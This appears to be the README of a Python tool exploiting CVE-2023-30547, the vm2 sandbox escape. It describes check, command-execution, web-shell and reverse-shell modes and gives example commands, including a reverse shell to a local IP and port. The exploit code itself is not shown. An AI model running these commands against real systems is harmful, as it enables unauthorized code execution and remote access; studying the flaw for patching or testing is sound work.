
Tool for exploring CVE-2023-30547

vm2 — это песочница, позволяющая выполнять ненадёжный код с использованием разрешённых встроенных модулей Node.
В версиях vm2 до 3.9.16 включительно существует уязвимость в санитизации исключений, позволяющая злоумышленникам вызывать несанитизированное исключение хоста внутри handleException(), что может быть использовано для выхода из песочницы и выполнения произвольного кода в контексте хоста.
Этот инструмент представляет собой простой скрипт на Python, который можно использовать для изучения уязвимости. Он имеет 4 режима:
check: проверяет, уязвима ли цель.command_execution: выполняет команду на цели.web_shell: открывает веб-оболочку на цели.reverse_shell: открывает обратную оболочку на цели.usage: CVE-2023-30547.py [-h] -m {check,command_execution,web_shell,reverse_shell} -t TARGET [-c COMMAND] [-p PORT] [-i IP]
Tool for exploring CVE-2023-30547.
options:
-h, --help show this help message and exit
-m {check,command_execution,web_shell,reverse_shell}, --mode {check,command_execution,web_shell,reverse_shell}
Mode to run the tool in.
-t TARGET, --target TARGET
Target to run the tool against.
-c COMMAND, --command COMMAND
Command to execute in exploit mode.
-p PORT, --port PORT Local port to use for reverse shell.
-i IP, --ip IP Local ip to use for reverse shell.
python3 CVE-2023-30547.py -m check -t http://url.com/run
python3 CVE-2023-30547.py -m reverse_shell -t domain.com/run -p 1234 -i 10.10.10.10
python3 CVE-2023-30547.py -m web_shell -t domain.com/run
python3 CVE-2023-30547.py -m command_execution -t domain.com -c 'whoami'